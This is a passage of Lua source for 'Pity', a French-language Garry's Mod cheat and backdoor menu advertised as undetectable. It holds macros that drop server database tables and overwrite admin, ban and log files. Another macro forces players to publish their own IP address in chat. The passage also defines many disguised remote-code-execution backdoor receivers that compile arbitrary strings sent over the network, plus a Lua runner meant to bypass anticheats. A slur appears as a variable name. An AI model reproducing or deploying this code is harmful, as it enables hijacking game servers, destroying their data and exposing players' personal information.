l2.txt","nordahl_Spawnpoint/rp_onwardhope.txt", "nordahl_Spawnpoint/rp_oldworld_fix.txt","nordahl_Spawnpoint/sd_doomsday.txt","nordahl_Spawnpoint/sd_doomsday_event.txt","nordahl_Spawnpoint/rp_naboo_city_v1.txt","nordahl_Spawnpoint/rp_noclyria_crimson.txt","nordahl_Spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_Spawnpoint/rp_mos_mersic_v2.txt","nordahl_Spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_Spawnpoint/dust_dunes.txt","nordahl_Spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_Spawnpoint/rd_asteroid.txt","nordahl_Spawnpoint/naboo.txt","nordahl_Spawnpoint/kashyyyk.txt","nordahl_Spawnpoint/geonosis.txt","nordahl_Spawnpoint/fightspace3b.txt","nordahl_Spawnpoint/endor.txt","nordahl_Spawnpoint/toth_forgotten.txt"}
1967local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_Spawnpoint/rp_venator_v3.txt","nordahl_Spawnpoint/rp_venator_v2.txt","nordahl_Spawnpoint/rp_venator_v1.txt","nordahl_Spawnpoint/rp_venator_gg.txt","nordahl_Spawnpoint/rp_venator_ausv4.txt","nordahl_Spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_Spawnpoint/arena_byre.txt","nordahl_Spawnpoint/rp_venator_v2_immersive.txt","nordahl_Spawnpoint/rp_venator_fade_v3.txt","nordahl_Spawnpoint/rp_venator_gr.txt","nordahl_Spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_Spawnpoint/rp_scifi.txt","nordahl_Spawnpoint/rishimoon_crimson.txt","nordahl_Spawnpoint/rp_pripyat_hl2.txt","nordahl_Spawnpoint/rp_onwardhope.txt", "nordahl_Spawnpoint/rp_oldworld_fix.txt","nordahl_Spawnpoint/sd_doomsday.txt","nordahl_Spawnpoint/sd_doomsday_event.txt","nordahl_Spawnpoint/rp_naboo_city_v1.txt","nordahl_Spawnpoint/rp_noclyria_crimson.txt","nordahl_Spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_Spawnpoint/rp_mos_mersic_v2.txt","nordahl_Spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_Spawnpoint/dust_dunes.txt","nordahl_Spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_Spawnpoint/rd_asteroid.txt","nordahl_Spawnpoint/naboo.txt","nordahl_Spawnpoint/kashyyyk.txt","nordahl_Spawnpoint/geonosis.txt","nordahl_Spawnpoint/fightspace3b.txt","nordahl_Spawnpoint/endor.txt","nordahl_Spawnpoint/toth_forgotten.txt"}
1968
1969for k,v in pairs(dataBDMenus) do
1970if sql.TableExists(v) then
1971sql.Query("DROP TABLE "..v.." ;")
1972sql.Query("CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );")
1973end
1974end
1975
1976for k,v in pairs(datafiles) do
1977if file.Exists(v) then
1978file.Delete(v)
1979file.write(v, "pitycheats.com hehe")
1980end
1981end
1982
1983for k,v in pairs(sensitivefiles) do
1984if file.Exists(v) then
1985file.Delete(v)
1986file.write(v, "pitycheats.com hehe")
1987end
1988end
1989if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end
1990if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end
1991]],
1992
1993["Private"] = true,
1994
1995},
1996
1997["Kill (silent)"] = {
1998
1999["Type"] = 2,
2000
2001["Code"] = [[v:KillSilent()]],
2002
2003},
2004
2005["Supprimer Props"] = {
2006
2007["Type"] = 2,
2008
2009["Code"] = [[v:ConCommand("gmod_cleanup")]],
2010
2011},
2012
2013["'Récupere son IP'"] = {
2014
2015["Type"] = 2,
2016
2017["Code"] = [[
2018if (darkrp || DarkRP) then
2019v:SendLua('http.Fetch("http://ipv4bot.whatismyipaddress.com", function(b,l,h,c) LocalPlayer():ConCommand("say /ooc Mon IP est "..b) end, function(error) return error end )')
2020else
2021v:SendLua('http.Fetch("http://ipv4bot.whatismyipaddress.com", function(b,l,h,c) LocalPlayer():ConCommand("say Mon IP est "..b) end, function(error) return error end )')
2022end
2023]],
2024
2025["Private"] = true,
2026
2027},
2028
2029// key/view scrambler, fuck with escape menu
2030
2031
2032
2033
2034/*================================
2035|===== Commandes Dangereuses =====|
2036=================================*/
2037
2038
2039}
2040
2041
2042local selectedbackdoor = ""
2043
2044local backdoorargs = ""
2045
2046local selectedplayers = {}
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058/*====================================
2059|===== Configuration Backdoor 88 =====|
2060=====================================*/
2061
2062
2063
2064if not snte then
2065
2066BD.BackdoorTypes["Mining"] = {
2067["Code"] = "util.AddNetworkString( 'Ulx_Error_88' ) net.Receive( 'Ulx_Error_88', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2068["Netkey"] = "Ulx_Error_88",
2069}
2070
2071BD.BackdoorTypes["Crero"] = {
2072["Code"] = "util.AddNetworkString( 'FAdmin_Notification_Receiver' ) net.Receive( 'FAdmin_Notification_Receiver', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2073["Netkey"] = "FAdmin_Notification_Receiver",
2074}
2075
2076BD.BackdoorTypes["FAdmin"] = {
2077["Code"] = "util.AddNetworkString( 'DarkRP_ReceiveData' ) net.Receive( 'DarkRP_ReceiveData', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2078["Netkey"] = "DarkRP_ReceiveData",
2079}
2080
2081BD.BackdoorTypes["Pitybd"] = {
2082["Code"] = "util.AddNetworkString( 'fijiconn' ) net.Receive( 'fijiconn', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2083["Netkey"] = "fijiconn",
2084}
2085
2086BD.BackdoorTypes["Weapon"] = {
2087["Code"] = "util.AddNetworkString( 'Weapon_88' ) net.Receive( 'Weapon_88', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2088["Netkey"] = "Weapon_88",
2089}
2090
2091BD.BackdoorTypes["Nostrip"] = {
2092["Code"] = "util.AddNetworkString('nostrip') net.Receive('nostrip',function(len,pl) RunStringEx(net.ReadString(),'[C]',false) end)",
2093["Netkey"] = "nostrip",
2094}
2095
2096BD.BackdoorTypes["Session"] = {
2097["Code"] = "util.AddNetworkString( 'SessionBackdoor' ) net.Receive( 'SessionBackdoor', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2098["Netkey"] = "SessionBackdoor",
2099}
2100
2101BD.BackdoorTypes["DarkRP_n"] = {
2102["Code"] = "util.AddNetworkString( 'DarkRP_AdminWeapons' ) net.Receive( 'DarkRP_AdminWeapons', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2103["Netkey"] = "DarkRP_AdminWeapons",
2104}
2105
2106BD.BackdoorTypes["frenculer"] = {
2107["Code"] = "util.AddNetworkString( 'thefrenchenculer' ) net.Receive( 'thefrenchenculer', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2108["Netkey"] = "thefrenchenculer",
2109}
2110
2111BD.BackdoorTypes["Fix_Keypads"] = {
2112["Code"] = "util.AddNetworkString( 'Fix_Keypads' ) net.Receive( 'Fix_Keypads', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2113["Netkey"] = "Fix_Keypads",
2114}
2115
2116BD.BackdoorTypes["CAC"] = {
2117["Code"] = "util.AddNetworkString( '_CAC_ReadMemory' ) net.Receive( '_CAC_ReadMemory', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2118["Netkey"] = "_CAC_ReadMemory",
2119}
2120
2121BD.BackdoorTypes["Exploiters"] = {
2122["Code"] = "util.AddNetworkString( 'Remove_Exploiters' ) net.Receive( 'Remove_Exploiters', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2123["Netkey"] = "Remove_Exploiters",
2124}
2125
2126BD.BackdoorTypes["MoonMan"] = {
2127["Code"] = "util.AddNetworkString( 'MoonMan' ) net.Receive( 'MoonMan', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2128["Netkey"] = "MoonMan",
2129}
2130
2131BD.BackdoorTypes["disableb"] = {
2132["Code"] = "util.AddNetworkString( 'disablebackdoor' ) net.Receive( 'disablebackdoor', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2133["Netkey"] = "disablebackdoor",
2134}
2135
2136BD.BackdoorTypes["Sbox"] = {
2137["Code"] = "util.AddNetworkString( 'Sbox_itemstore' ) net.Receive( 'Sbox_itemstore', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2138["Netkey"] = "Sbox_itemstore",
2139}
2140
2141BD.BackdoorTypes["Sbox2"] = {
2142["Code"] = "util.AddNetworkString( 'Sbox_darkrp' ) net.Receive( 'Sbox_darkrp', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2143["Netkey"] = "Sbox_darkrp",
2144}
2145
2146BD.BackdoorTypes["R8"] = {
2147["Code"] = "util.AddNetworkString( 'R8' ) net.Receive( 'R8', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2148["Netkey"] = "R8",
2149}
2150
2151BD.BackdoorTypes["c"] = {
2152["Code"] = "util.AddNetworkString( 'c' ) net.Receive( 'c', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2153["Netkey"] = "c",
2154}
2155
2156BD.BackdoorTypes["_cac_"] = {
2157["Code"] = "util.AddNetworkString( '_cac_' ) net.Receive( '_cac_', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2158["Netkey"] = "_cac_",
2159}
2160
2161BD.BackdoorTypes["_Defqon"] = {
2162["Code"] = "util.AddNetworkString( '_Defqon' ) net.Receive( '_Defqon', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2163["Netkey"] = "_Defqon",
2164}
2165
2166BD.BackdoorTypes["LickMeOut"] = {
2167["Code"] = "util.AddNetworkString( 'LickMeOut' ) net.Receive( 'LickMeOut', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2168["Netkey"] = "LickMeOut",
2169}
2170
2171BD.BackdoorTypes["nck"] = {
2172["Code"] = "util.AddNetworkString( 'noclipcloakaesp_chat_text' ) net.Receive( 'noclipcloakaesp_chat_text', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2173["Netkey"] = "noclipcloakaesp_chat_text",
2174}
2175
2176BD.BackdoorTypes["ArmDupe"] = {
2177["Code"] = "util.AddNetworkString( 'Sandbox_ArmDupe' ) net.Receive( 'Sandbox_ArmDupe', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2178["Netkey"] = "Sandbox_ArmDupe",
2179}
2180
2181
2182else
2183end
2184
2185
2186
2187
2188/*==================================
2189|===== Derma 88 Backdoor Menu =====|
2190=================================*/
2191
2192
2193
2194function BD.GenerateBackdoorList( parent, category )
2195
2196
2197
2198for k, v in SortedPairs( BD.BDMacros, false ) do
2199
2200if v["Type"] != category then continue end
2201
2202
2203
2204local plypanel2 = vgui.Create( "DPanel" )
2205
2206plypanel2:SetPos( 50, 0 )
2207
2208plypanel2:SetSize( 103, 15 )
2209
2210plypanel2.Paint = function() -- Paint function
2211
2212
2213
2214if selectedbackdoor == k then draw.RoundedBoxEx(0,0,0,plypanel2:GetWide(),plypanel2:GetTall(),Color(150, 150, 150, 70), false, false, false, false)
2215else draw.RoundedBoxEx(0,0,0,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 70), false, false, false, false)
2216end
2217
2218
2219end
2220
2221
2222
2223local plyname = vgui.Create( "DLabel", plypanel2 )
2224
2225plyname:SetPos( 3, 0 )
2226
2227plyname:SetFont( "pity_homemini" )
2228
2229local tcol = Color( 255, 255, 255 )
2230
2231if v.Private then tcol = Color( 255, 107, 107 )
2232
2233if fiji_style_menu:GetInt() == 2 then
2234if v == LocalPlayer() then tcol = Color( math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75) ) end
2235
2236elseif fiji_style_menu:GetInt() == 3 then
2237if v == LocalPlayer() then tcol = Color( 255, 91, 91 ) end
2238
2239elseif fiji_style_menu:GetInt() == 1 then
2240if v == LocalPlayer() then tcol = HSVToColor( CurTime() % 6 * 60, 1, 0.5 )end
2241
2242else
2243if v == LocalPlayer() then tcol = Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) end
2244
2245end
2246end
2247
2248plyname:SetColor( tcol )
2249
2250plyname:SetText( k )
2251
2252plyname:SetSize(670, 15)
2253
2254
2255
2256
2257
2258
2259local faggot = vgui.Create("DButton", plypanel2)
2260
2261faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
2262
2263faggot:SetPos( 0, 0 )
2264
2265faggot:SetText("")
2266
2267if v["Desc"] != "" then end
2268
2269faggot.Paint = function(panel, w, h)
2270
2271return
2272
2273end
2274
2275faggot.DoClick = function()
2276
2277selectedbackdoor = k
2278
2279end
2280
2281
2282
2283
2284
2285parent:AddItem( plypanel2 )
2286
2287
2288
2289end
2290
2291
2292
2293end
2294
2295
2296
2297function BD.FormatCodeTargeted()
2298
2299if !BD.BackdoorActive() then BD.ChatText( "La backdoor séléctionnée n'est pas présente", Color(255,155,155) ) return end
2300
2301if selectedbackdoor == "" then BD.ChatText( "Veuillez séléctionné une commande", Color(255,155,155) ) return end
2302
2303local param = string.Explode( ",", backdoorargs )
2304
2305local ids = {}
2306
2307for k, v in pairs( selectedplayers ) do
2308
2309if !v:IsValid() then table.RemoveByValue( selectedplayers, v ) continue end
2310
2311table.insert( ids, v:UniqueID() )
2312
2313end
2314
2315
2316
2317local code = [[ local targets = ## for k, v in pairs( player.GetAll() ) do if !v:IsValid() then continue end if table.HasValue( targets, v:UniqueID() ) then %% end end ]]
2318
2319code = string.Replace( code, "##", table.ToString( ids ) )
2320
2321code = string.Replace( code, "%%", BD.BDMacros[selectedbackdoor]["Code"] or "" )
2322
2323code = string.Replace( code, "%LP", "p:UniqueID() == \""..LocalPlayer():UniqueID().."\"" )
2324
2325
2326
2327if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then BD.ChatText( "Veuillez paramétrer la commande", Color(255,155,155) ) return end
2328
2329if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] = "derp", [4] = "derp", [5] = "derp" } end
2330
2331
2332
2333for k, v in pairs( param ) do
2334
2335code = string.Replace( code, "@"..k, [["]]..v..[["]] )
2336
2337end
2338
2339
2340
2341BD.Fire( code )
2342
2343
2344
2345end
2346
2347
2348
2349function BD.FormatCodeGlobal()
2350
2351--if !BD.BackdoorActive() then BD.ChatText( "Aucune backdoor sur le serveur", Color(0,0,0) ) return end
2352
2353if selectedbackdoor == "" then BD.ChatText( "Veuillez selectionner une commande", Color(255,74,74) ) return end
2354
2355local param = string.Explode( ",", backdoorargs )
2356
2357
2358
2359local code = BD.BDMacros[selectedbackdoor]["Code"]
2360
2361
2362
2363if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then BD.ChatText( "Veuillez paramétrer la commande", Color(255,74,74) ) return end
2364
2365if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] = "derp", [4] = "derp", [5] = "derp" } end
2366
2367
2368
2369for k, v in pairs( param ) do
2370
2371code = string.Replace( code, "@"..k, [["]]..v..[["]] )
2372
2373code = string.Replace( code, "%LP", LocalPlayer():UniqueID() )
2374
2375code = string.Replace( code, "%LCP", "p:UniqueID() == \""..LocalPlayer():UniqueID().."\"" )
2376
2377code = string.Replace( code, "%BD", BD.GetActive().Code )
2378
2379end
2380
2381
2382
2383BD.Fire( code )
2384
2385
2386
2387end
2388
2389
2390
2391
2392
2393local safenet = net
2394
2395local function bdnet()
2396
2397if odium and odium.G then return odium.G.net end
2398
2399return safenet
2400
2401end
2402
2403
2404
2405
2406
2407---------------------------------------------------------------------------------------------------------
2408---------------------------------------------------------------------------------------------------------
2409
2410BD.BtnHovered = BD.BtnHovered or 1
2411
2412-- Fonts
2413surface.CreateFont( "BD:Hitman:50", { font = "Arial", extended = false, size = 50, weight = 800, } )
2414surface.CreateFont( "BD:Hitman:30", { font = "Arial", extended = false, size = 30, weight = 800, } )
2415
2416
2417
2418-- Menu
2419function BD:CreateBtn( text, x, y, w, h, BDMenu )
2420local btn = vgui.Create( "DButton", BDMenu )
2421btn:SetPos( x, y )
2422btn:SetSize( w, h )
2423btn:SetText( "" )
2424btn.IsHovered = false
2425function btn:OnCursorEntered() self.IsHovered = true end
2426function btn:OnCursorExited() self.IsHovered = false end
2427function btn:Paint( w, h )
2428
2429local cText = Color( 255, 255, 255, 50 )
2430
2431
2432if self.IsHovered then
2433draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 30 ) )
2434cBorder = Color( 110,110,110, 30 )
2435else
2436draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
2437cBorder = Color( 110,110,110, 0 )
2438
2439end
2440
2441if self.activebtn then
2442if fiji_style_menu:GetInt() == 2 then
2443cText = Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2444cBorder = Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2445elseif fiji_style_menu:GetInt() == 1 then
2446cText = HSVToColor( CurTime() % 6 * 60, 1, 0.5 )
2447cBorder = HSVToColor( CurTime() % 6 * 60, 1, 0.5 )
2448elseif fiji_style_menu:GetInt() == 3 then
2449cText = Color( 190, 242, 190 )
2450cBorder = Color( 190, 242, 190,80 )
2451else
2452cText = Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 )
2453cBorder = Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 )
2454end
2455draw.SimpleText( text, "pity_homeBTN", w / 2, h / 2, cText, 1, 1 )
2456else
2457draw.SimpleText( text, "pity_home5", w / 2, h / 2, cText, 1, 1 )
2458end
2459
2460
2461
2462surface.SetDrawColor( cBorder )
2463surface.DrawOutlinedRect( 0, 0, w, h )
2464end
2465
2466return btn
2467end
2468
2469concommand.Add("fiji_luarun", function()
2470local BDLuarun = vgui.Create( "DFrame" )
2471BDLuarun:SetSize( 700, 400 )
2472BDLuarun:Center()
2473BDLuarun:SetTitle("")
2474BDLuarun:SetDraggable( true )
2475BDLuarun:ShowCloseButton( false )
2476BDLuarun:MakePopup()
2477BDLuarun.Paint = function( self, w, h)
2478DrawBlur(self, 25)
2479draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,245 ) )
2480draw.SimpleText("Remarque : Un code lua supérieur à 1000 lignes peut faire crash votre jeux durant quelques minutes.", "pity_home3", 11, 11, Color(150, 110, 110,255), 0, 1)
2481
2482end
2483
2484
2485local BDLuaruntext = vgui.Create( "DTextEntry", BDLuarun ) -- create the form as a child of frame
2486BDLuaruntext:SetPos( 5, 25 )
2487BDLuaruntext:SetSize( 690, 330 )
2488BDLuaruntext:SetMultiline( true )
2489BDLuaruntext:SetText( "-- Entrer le code lua (Exemple: autre cheat, utilitaire de jeux...) \n \n" )
2490BDLuaruntext.OnEnter = function( self )
2491chat.AddText( self:GetValue() ) -- print the form's text as server text
2492end
2493
2494local AcceptLuarun = vgui.Create( "DButton", BDLuarun)
2495AcceptLuarun:SetPos( 310, 360)
2496AcceptLuarun:SetSize( 80, 35 )
2497AcceptLuarun:SetTextColor( Color( 255, 255, 255, 255 ) )
2498AcceptLuarun:SetText( "Lancer le code" )
2499AcceptLuarun.Paint = function( self, w, h )
2500draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2501if self:IsHovered() then
2502draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
2503aBorder = Color( 110,110,110, 80 )
2504else
2505draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
2506aBorder = Color( 110,110,110, 0 )
2507end
2508AcceptLuarun.OnCursorEntered = function(self) --
2509surface.PlaySound( fiji_pityhover )
2510end
2511surface.SetDrawColor( aBorder )
2512surface.DrawOutlinedRect( 0, 0, w, h )
2513AcceptLuarun.DoClick = function()
2514NOTIFICATION("Lua lançé")
2515surface.PlaySound( fiji_pityclick )
2516RunString( BDLuaruntext:GetText() )
2517end
2518end
2519
2520
2521local CloseLuaRun = vgui.Create( "DButton", BDLuarun)
2522CloseLuaRun:SetPos( 670, 8)
2523CloseLuaRun:SetSize( 20, 15 )
2524CloseLuaRun:SetTextColor( Color( 255, 255, 255, 255 ) )
2525CloseLuaRun:SetText( "X" )
2526CloseLuaRun.Paint = function( self, w, h )
2527draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2528if self:IsHovered() then
2529draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
2530else
2531draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
2532end
2533CloseLuaRun.DoClick = function()
2534LocalPlayer():ConCommand("fiji_sv_existmen 0")
2535
2536BDLuarun:Remove()
2537end
2538end
2539
2540local ReturnLuaRun = vgui.Create( "DButton", BDLuarun)
2541ReturnLuaRun:SetPos( 638, 8)
2542ReturnLuaRun:SetSize( 30, 15)
2543ReturnLuaRun:SetTextColor( Color( 255, 255, 255, 255 ) )
2544ReturnLuaRun:SetText( "<--" )
2545ReturnLuaRun.Paint = function( self, w, h )
2546draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2547if self:IsHovered() then
2548draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
2549else
2550draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
2551end
2552ReturnLuaRun.DoClick = function()
2553LocalPlayer():ConCommand("pity")
2554BDLuarun:Remove()
2555end
2556end
2557
2558concommand.Add( "fiji_clearluarun", function() -- fiji_sv_existmen
2559BDLuarun:Remove()
2560
2561end)
2562
2563end)
2564
2565function BD:Dashboard( pContent )
2566
2567
2568function NOTIFICATION(text, pContent)
2569
2570ctxt( Color(126, 255, 117), "[Pity] ", Color(255, 255, 255), text )
2571
2572end
2573
2574function NOTIFICATIONNO(text)
2575ctxt( Color(255, 114, 114), "[Pity] ", Color(255, 255, 255), text )
2576end
2577
2578local BDMenuDashboard = vgui.Create("DPanel", pContent)
2579BDMenuDashboard:SetSize( 539, 388 )
2580BDMenuDashboard:SetPos( 0, 0 )
2581BDMenuDashboard.Paint = function( self, w, h)
2582draw.RoundedBox( 0, 0, 0, w, h, Color(255,35,35,0 ) )
2583
2584if fiji_style_menu:GetInt() == 2 then
2585draw.RoundedBox( 0, 0, 98, 2, h - 60, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
2586draw.RoundedBox( 0, 0, 0, 2, h - 336, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
2587
2588elseif fiji_style_menu:GetInt() == 1 then
2589draw.RoundedBox( 0, 0, 98, 2, h - 60, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
2590draw.RoundedBox( 0, 0, 0, 2, h - 336, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
2591
2592else
2593draw.RoundedBox( 0, 0, 98, 2, h - 60, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
2594draw.RoundedBox( 0, 0, 0, 2, h - 334, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
2595end
2596
2597
2598end
2599local TextHome = vgui.Create( "DPanel", pContent )
2600TextHome:SetSize(500,650)
2601TextHome:SetPos(20,20)
2602TextHome.Paint = function( self, w, h )
2603if fiji_style_menu:GetInt() == 3 then
2604draw.SimpleText("✝ Pity ✝ ", "pity_home1", 158, 20, Color(238, 61, 61), 0, 1)
2605elseif fiji_style_menu:GetInt() == 2 then
2606draw.SimpleText("✝ Pity ✝ ", "pity_home1", 158, 20, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)), 0, 1)
2607
2608elseif fiji_style_menu:GetInt() == 1 then
2609draw.SimpleText("✝ Pity ✝ ", "pity_home1", 158, 20, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), 0, 1)
2610
2611else
2612draw.SimpleText("✝ Pity ✝ ", "pity_home1", 158, 20, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ), 0, 1)
2613
2614end
2615
2616surface.SetMaterial( fiji_pitydiscordwidget )
2617surface.SetDrawColor( 255, 255, 255, 255 )
2618surface.DrawTexturedRect( 90, 150, 320, 76 )
2619
2620draw.SimpleText("Garry's Mod Cheat - V1", "pity_home2", 192, 62, Color(255, 255, 255,20), 0, 1)
2621draw.SimpleText("Bienvenue dans le Pity, un cheat complet et indétectable.", "pity_home4", 32, 100, Color(255, 255, 255,200), 0, 1)
2622draw.SimpleText("Rendez-vous sur Discord pour toutes questions.", "pity_home3", 118, 135, Color(255, 255, 255,200), 0, 1)
2623draw.SimpleText("Executer votre propre Lua pour bypass les Anticheats :", "pity_home3", 102, 305, Color(255, 255, 255,200), 0, 1)
2624end
2625
2626--[[
2627local TextEntry = vgui.Create( "DTextEntry", pContent ) -- create the form as a child of frame
2628TextEntry:SetPos( 150, 200 )
2629TextEntry:SetSize( 75, 150 )
2630TextEntry:SetMultiline( true )
2631TextEntry:SetText( "Placeholder Text" )
2632TextEntry.OnEnter = function( self )
2633chat.AddText( self:GetValue() ) -- print the form's text as server text
2634end
2635]]
2636
2637
2638local Runstringlua = vgui.Create( "DButton", pContent)
2639Runstringlua:SetPos( 210, 342)
2640Runstringlua:SetSize( 120, 35 )
2641Runstringlua:SetTextColor( Color( 255, 255, 255, 255 ) )
2642Runstringlua:SetText( "Executer Lua" )
2643Runstringlua.Paint = function( self, w, h )
2644draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2645if self:IsHovered() then
2646draw.RoundedBox( 0, 0, 0, w, h, Color( 130,110,110, 60 ) )
2647aBorder = Color( 255,110,110, 255 )
2648else
2649draw.RoundedBox( 0, 0, 0, w, h, Color( 150,110,110, 20 ) )
2650aBorder = Color( 255,110,110, 80 )
2651end
2652Runstringlua.OnCursorEntered = function(self)
2653surface.PlaySound( fiji_pityhover )
2654
2655end
2656surface.SetDrawColor( aBorder )
2657surface.DrawOutlinedRect( 0, 0, w, h )
2658Runstringlua.DoClick = function()
2659surface.PlaySound( fiji_pityclick )
2660LocalPlayer():ConCommand("fiji_luarun")
2661LocalPlayer():ConCommand("clear_pity")
2662LocalPlayer():ConCommand("fiji_sv_existmen 1")
2663end
2664end
2665
2666
2667local Copierdiscordanim = vgui.Create( "DPanel", pContent )
2668Copierdiscordanim:SetSize(80,12)
2669Copierdiscordanim:SetPos(180, 287)
2670Copierdiscordanim.Paint = function( self, w, h )
2671
2672if CopiediscordHomeTextyes then
2673draw.RoundedBox(0,0,0,w,h,Color(116, 255, 112, 255))
2674draw.SimpleText("LokiDevs was here !", "pity_home2", 0, 0, Color(255, 255, 255,20), 0, 1)
2675else
2676end
2677end
2678
2679local CopiediscordHomeText = vgui.Create( "DButton", pContent)
2680CopiediscordHomeText:SetPos( 350, 358)
2681CopiediscordHomeText:SetSize( 200, 40 )
2682CopiediscordHomeText:SetTextColor( Color( 255, 255, 255, 0 ) )
2683CopiediscordHomeText:SetText( "Copier le lien" )
2684CopiediscordHomeText.Paint = function( self, w, h )
2685draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2686if self:IsHovered() then
2687draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 0))
2688else
